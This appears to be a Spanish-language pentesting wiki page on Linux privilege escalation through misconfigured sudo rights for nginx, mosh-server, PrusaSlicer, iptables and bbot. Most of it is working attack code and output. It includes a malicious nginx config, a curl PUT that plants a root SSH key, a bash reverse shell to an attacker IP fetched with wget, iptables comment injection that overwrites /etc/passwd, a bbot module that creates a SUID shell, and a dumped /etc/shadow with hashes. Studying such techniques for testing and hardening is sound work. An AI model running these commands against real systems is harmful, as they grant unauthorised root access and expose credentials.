Linux Privilege Escalation
Automated Enumeration Tools
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker
Abusing sudoers privileges
Nginx
El siguiente repositorio nos proporciona el siguiente script para crear una configuración en Nginx
maliciosa. El siguiente script realizará una configuración de Nginx
que habilite una página web por el puerto 1338
. Se indicará que el servidor tenga capacidad para realizar un listado de directorios (directory listing
) en el directorio raíz (/
), dado que el usuario que ejecuta Nginx es root
. Esto nos permitirá listar los archivos del sistema sin restricciones.
Además, se habilitará el método PUT
para que se puedan subir contenidos a través de la página web vulnerable que estamos montando. Una vez configurado, cargaremos la configuración del sitio web vulnerable.
#!/bin/sh
echo "[+] Creating configuration..."
cat << EOF > /tmp/nginx_pwn.conf
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1338;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
echo "[+] Loading configuration..."
sudo nginx -c /tmp/nginx_pwn.conf
Le daremos permisos de ejecución al script realizado y a ejecutarlo para levantar el sitio web vulnerable.
user@test:/tmp$ chmod +x exploit.sh
user@test:/tmp$ ./exploit.sh
[+] Creating configuration...
[+] Loading configuration...
Accederemos al sitio web vulnerable http://<VICTIM_IP>:1338 y verificaremos que disponemos del acceso a listar los directorios del equipo desde la raíz /
.

Al verificar esto, si el servicio de SSH
se encuentra expuesto, el objetivo será crear en nuestra máquina atacante una clave pública que subiremos a través del método PUT
al servidor web vulnerable en la ruta /root/.ssh/authorized_keys
.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+
Mostraremos el contenido de la clave pública id_rsa.pub
que hemos generado en nuestra máquina y a través de la herramienta cURL
subiremos este contenido dentro del archivo authorized_keys
, esto con el objetivo de que nuestra clave pública se encuentre permitida en la máquina pública y nos podamos conectar como usuario root
sin proporcionar credenciales.
❯ cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali
❯ curl -s -X PUT <VICTIM_IP>:1338/root/.ssh/authorized_keys -d "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM/QPvpr6ZlpPXjNq/RQQC5Wi8sUwISswOUyVV2NYpcN kali@kali"
Procederemos a conectarnos mediante SSH
con el usuario root
en la máquina víctima. En este ejemplo, la IP de la máquina víctima es 10.10.10.10.
❯ ssh root@10.10.10.10
The authenticity of host '10.10.10.10 (10.10.10.10)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.10' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
..[snip]...
root@test:~# whoami
root
Mosh-server
Al revisar si el usuario que disponemos tiene algún privilegio de sudoers
, nos encontramos que puede ejecutar como usuarioroot
el binario /usr/bin/mosh-server
.
hacker@gzzcoo:~$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User svcMosh may run the following commands on localhost:
(ALL) NOPASSWD: /usr/bin/mosh-server
Al ejecutar el servidor Mosh como root
, ahora el usuario hacker
tiene una shell con permisos de root
. Esto permite al atacante acceder a todos los recursos del sistema con permisos completos, incluyendo la capacidad de modificar archivos, instalar software, y ejecutar comandos con total libertad.
Básicamente, lo que realizamos es montar un servidor Mosh
con privilegios de root
en el localhost
, para así lograr obtener acceso como usuario root
.
hacker@gzzcoo:~$ mosh --server="sudo /usr/bin/mosh-server" localhost
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)
...[snip]...
root@gzzcoo:~$
PrusaSlicer
En este ejemplo, el usuario llamado hacker
dispone del privilegio sudoers sobre el binario de PrusaSlicer
que en este caso se encuentra instalado en /opt/PrusaSlicer/prusaslicer
.
hacker@gzzcoo:/home/hacker$ sudo -l
Matching Defaults entries for hacker on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User adam may run the following commands on trickster:
(ALL) NOPASSWD: /opt/PrusaSlicer/prusaslicer
Nos descargaremos el siguiente proyecto de GitHub en nuestro equipo atacante.
❯ git clone https://github.com/suce0155/prusaslicer_exploit; cd prusaslicer_exploit
Clonando en 'prusaslicer_exploit'...
remote: Enumerating objects: 25, done.
remote: Counting objects: 100% (25/25), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 25 (delta 3), reused 0 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (25/25), 45.69 KiB | 1.34 MiB/s, listo.
Resolviendo deltas: 100% (3/3), listo.
Editaremos el archivo exploit.sh
para establecer nuestra dirección IP de atacante y el puerto desde donde estaremos en escucha. Levantaremos un servidor web para transferir estos archivos al equipo víctima.
❯ cat exploit.sh
/bin/bash -i >& /dev/tcp/10.10.16.5/444 0>&1
❯ ls -l
.rw-rw-r-- kali kali 38 KB Sat Jan 25 01:25:28 2025 evil.3mf
.rw-rw-r-- kali kali 45 B Sat Jan 25 01:26:02 2025 exploit.sh
.rw-rw-r-- kali kali 369 B Sat Jan 25 01:25:28 2025 README.md
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo víctima, nos descargaremos los archivos exploit.sh
y evil.3mf
. En nuestro caso la dirección IP de atacante es la 10.10.16.5.
hacker@gzzcoo:/tmp$ wget 10.10.16.5/exploit.sh
--2025-01-25 00:27:00-- http://10.10.16.5/exploit.sh
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45 [text/x-sh]
Saving to: ‘exploit.sh’
exploit.sh 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:00 (3.79 MB/s) - ‘exploit.sh’ saved [45/45]
hacker@gzzcoo:/tmp$ wget 10.10.16.5/evil.3mf
--2025-01-25 00:27:08-- http://10.10.16.5/evil.3mf
Connecting to 10.10.16.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 39455 (39K) [application/vnd.ms-3mfdocument]
Saving to: ‘evil.3mf’
evil.3mf 100%[================================>] 45 --.-KB/s in 0s
2025-01-25 00:27:08 (315 KB/s) - ‘evil.3mf’ saved [39455/39455]
Desde una terminal de nuestro equipo, nos pondremos en escucha por el puerto especificado en el payload para recibir la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
Realizaremos la explotación para abusar de este permiso de sudoers del binario.
hacker@gzzcoo:/tmp$ sudo /opt/PrusaSlicer/prusaslicer -s evil.3mf
10 => Processing triangulated mesh
20 => Generating perimeters
30 => Preparing infill
45 => Making infill
65 => Searching support spots
69 => Alert if supports needed
print warning: Detected print stability issues:
EXPLOIT
Low bed adhesion
Consider enabling supports.
Also consider enabling brim.
88 => Estimating curled extrusions
88 => Generating skirt and brim
90 => Exporting G-code to EXPLOIT_0.3mm_{printing_filament_types}_MK4_{print_time}.gcode
Revisamos que hemos logrado obtener acceso al equipo como usuario root
, ya que es quien lo ha ejecutado al disponer de permisos de sudo
sobre el binario indicado que ha sido aprovechado para ejecutar la Reverse Shell.
❯ nc -nlvp 444
listening on [any] 444 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.34] 60656
root@trickster:/tmp
iptables && iptables-save
En el siguiente blog, se especifica como podemos abusar de este privilegio de sudoers. Además de un PoC sencillo.
Opción 1 --> sobreescribir /etc/passwd
para añadir nuevo usuario root
En el PoC del blog mencionado, se nos informa que disponiendo de ambos permisos de sudoers
, podemos intentar sobreescribir el archivo /etc/passwd
para añadir una nueva entrada de un nuevo usuario root
con una contraseña asignada por nosotros mismos.
En este caso, lo que realizaremos es copiar la entrada de nuestro /etc/passwd
para tener la estructura de lo que deberemos añadir en el archivo de la máquina víctima.
Una vez tengamos la entrada de plantilla, lo que deberemos realizar es crear una contraseña en el formato de OpenSSL
. Deberemos de reemplazar el valor x
por el de la contraseña generada, para lograr obtener el siguiente resultado --> root:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash
❯ cat /etc/passwd | head -n 1
root:x:0:0:root:/root:/usr/bin/zsh
❯ openssl passwd Gzzcoo123
$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1
Inyectaremos la entrada root
falsificada en un nuevo comentario de regla de e, verificaremos que se encuentra añadida esta línea en las reglas de iptables
y sobreescribiremos el archivo /etc/passwd
para añadir esta nueva entrada del usuario root
. Verificaremos si podemos acceder con este nuevo usuario root
y la contraseña asignada.
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$Gow86CXS$sHAPSqpiT4xePLCPO147m1:0:0:root:/root:/bin/bash\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /etc/passwd
Opción 2 --> sobreescribir /root/.ssh/authorized_keys
para añadir nuestra clave pública SSH
Buscando otras maneras de aprovecharnos de estos privilegios de sudoers
, pensamos en subir nuestra clave pública SSH al archivo authorized_keys
del usuario root.
En un principio no deberíamos tener problemas al ejecutar el iptables && iptables-save
con permisos de sudo
.
Generaremos una nueva clave pública SSH en nuestro equipo atacante.
❯ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/kali/.ssh/id_ed25519): /home/kali/.ssh/id_rsa
Enter passphrase for "/home/kali/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:VJOJ/h84EVj0o05Fpz15O3EfYA9X6Zk2e1ZFmi25358 kali@kali
The key's randomart image is:
+--[ED25519 256]--+
| ==o.+.o=|
| o.++.+=B.|
| .. .= X+B|
| .. .o . @B|
| S.oo oo=|
| o+ . o=|
| .o . .+|
| . o|
| E.|
+----[SHA256]-----+
Copiaremos nuestra clave SSH pública .
❯ cat id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINchj1ycZWUZctrUZl/nhPPxygCF1kT7UbFMFfVqiyz0 kali@kali
Volveremos a realizar el PrivEsc aprovechándonos de estos permisos de sudoers
. En este caso, crearemos un nuevo comentario que contenga nuestra clave SSH pública. Revisaremos que nos aparece el comentario en las reglas de iptables
, y sobreescribiremos el archivo mencionado.
sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINchj1ycZWUZctrUZl/nhPPxygCF1kT7UbFMFfVqiyz0 kali@kali\n'
sudo /usr/sbin/iptables -S
sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys
Al intentar acceder mediante SSH con el usuario root
, comprobamos que no se solicita credenciales. Al subir nuestra clave pública SSH al archivo /root/.ssh/authorized_keys
, logramos conectarnos sin necesidad de proporcionar una contraseña, ya que la clave pública almacenada en ese archivo se comunica directamente con nuestra clave privada.
❯ ssh root@10.10.10.10
Linux gzzcoo 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@gzzcoo:~$
BBOT (BIGHUGE BLS OSINT TOOL)
user@gzzcoo:~$ sudo -l
Matching Defaults entries for user on gzzcoo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User user may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot
Leer archivos privilegiados del sistema (LFI)
graphasm@cypher:~$ sudo /usr/local/bin/bbot -cy /etc/shadow -d --dry-run
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
...[snip]...
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/etc/shadow]
[DBUG] internal.excavate: Final combined yara rule contents: root:$y$j9T$ianAadawc1w6VSodw.1fzgk/$3DenO5YJ1VBvE1VekRL79v6bN00fhcbA59zeeLciY67:20133:0:99999:7:::
daemon:*:19962:0:99999:7:::
bin:*:19962:0:99999:7:::
sys:*:19962:0:99999:7:::
sync:*:19962:0:99999:7:::
games:*:19962:0:99999:7:::
man:*:19962:0:99999:7:::
lp:*:19962:0:99999:7:::
mail:*:19962:0:99999:7:::
news:*:19962:0:99999:7:::
uucp:*:19962:0:99999:7:::
proxy:*:19962:0:99999:7:::
www-data:*:19962:0:99999:7:::
backup:*:19962:0:99999:7:::
list:*:19962:0:99999:7:::
irc:*:19962:0:99999:7:::
_apt:*:19962:0:99999:7:::
nobody:*:19962:0:99999:7:::
systemd-network:!*:19962::::::
systemd-timesync:!*:19962::::::
dhcpcd:!:19962::::::
messagebus:!:19962::::::
systemd-resolve:!*:19962::::::
pollinate:!:19962::::::
polkitd:!*:19962::::::
syslog:!:19962::::::
uuidd:!:19962::::::
tcpdump:!:19962::::::
tss:!:19962::::::
landscape:!:19962::::::
fwupd-refresh:!*:19962::::::
usbmux:!:20004::::::
sshd:!:20004::::::
user:$y$j9T$lDLyqZAxCXhX1EB3v01Zl.$C0XwosQvBM.5sAPbHdADASDlg0GX5YJHb7qImQV7:20004:0:99999:7:::
neo4j:!:20004::::::
_laurel:!:20136::::::
Obtener ejecución de comandos (RCE)
Manual
user@gzzcoo:/tmp$ echo -e "module_dirs:\n - /tmp/modules" > /tmp/myconf.yml
user@gzzcoo:/tmp$ mkdir /tmp/modules
user@gzzcoo:/tmp$ cd /tmp/modules
user@gzzcoo:/tmp$ nano whois2.py
from bbot.modules.base import BaseModule
import os
class whois2(BaseModule):
watched_events = ["DNS_NAME"] # watch for DNS_NAME events
produced_events = ["WHOIS"] # we produce WHOIS events
flags = ["passive", "safe"]
meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
options = {"api_key": ""} # module config options
options_desc = {"api_key": "WhoisXMLAPI Key"}
per_domain_only = True # only run once per domain
# one-time setup - runs at the beginning of the scan
async def setup(self):
os.system("cp /bin/bash /tmp/gzzcoo && chmod u+s /tmp/gzzcoo")
self.api_key = self.config.get("api_key")
return True
async def handle_event(self, event):
pass
user@gzzcoo:/tmp$ sudo /usr/local/bin/bbot -p /tmp/myconf.yml -m whois2
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc
www.blacklanternsecurity.com/bbot
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist)
[INFO] Loaded 1/1 scan modules (whois2)
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[INFO] internal.excavate: Compiling 10 YARA rules
[INFO] internal.speculate: No portscanner enabled. Assuming open ports: 80, 443
[SUCC] Setup succeeded for 13/13 modules.
[SUCC] Scan ready. Press enter to execute chiseled_crystal
[WARN] No scan targets specified
[SUCC] Starting scan chiseled_crystal
[SCAN] chiseled_crystal (SCAN:e8932c65583fe4c9ebced6e18cf4974796fbfb8f) TARGET (in-scope, target)
[INFO] Finishing scan
[SCAN] chiseled_crystal (SCAN:e8932c65583fe4c9ebced6e18cf4974796fbfb8f) TARGET (in-scope)
[SUCC] Scan chiseled_crystal completed in 0 seconds with status FINISHED
[INFO] aggregate: +----------+------------+------------+
[INFO] aggregate: | Module | Produced | Consumed |
[INFO] aggregate: +==========+============+============+
[INFO] aggregate: | None | None | None |
[INFO] aggregate: +----------+------------+------------+
[INFO] output.csv: Saved CSV output to /root/.bbot/scans/chiseled_crystal/output.csv
[INFO] output.json: Saved JSON output to /root/.bbot/scans/chiseled_crystal/output.json
[INFO] output.txt: Saved TXT output to /root/.bbot/scans/chiseled_crystal/output.txt
user@gzzcoo:/tmp$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
user@gzzcoo:/tmp$ ls -l /tmp/gzzcoo
-rwsr-xr-x 1 root root 1446024 Mar 4 17:39 /tmp/gzzcoo
user@gzzcoo$ /tmp/gzzcoo -p
gzzcoo-5.2# whoami
root
Última actualización
¿Te fue útil?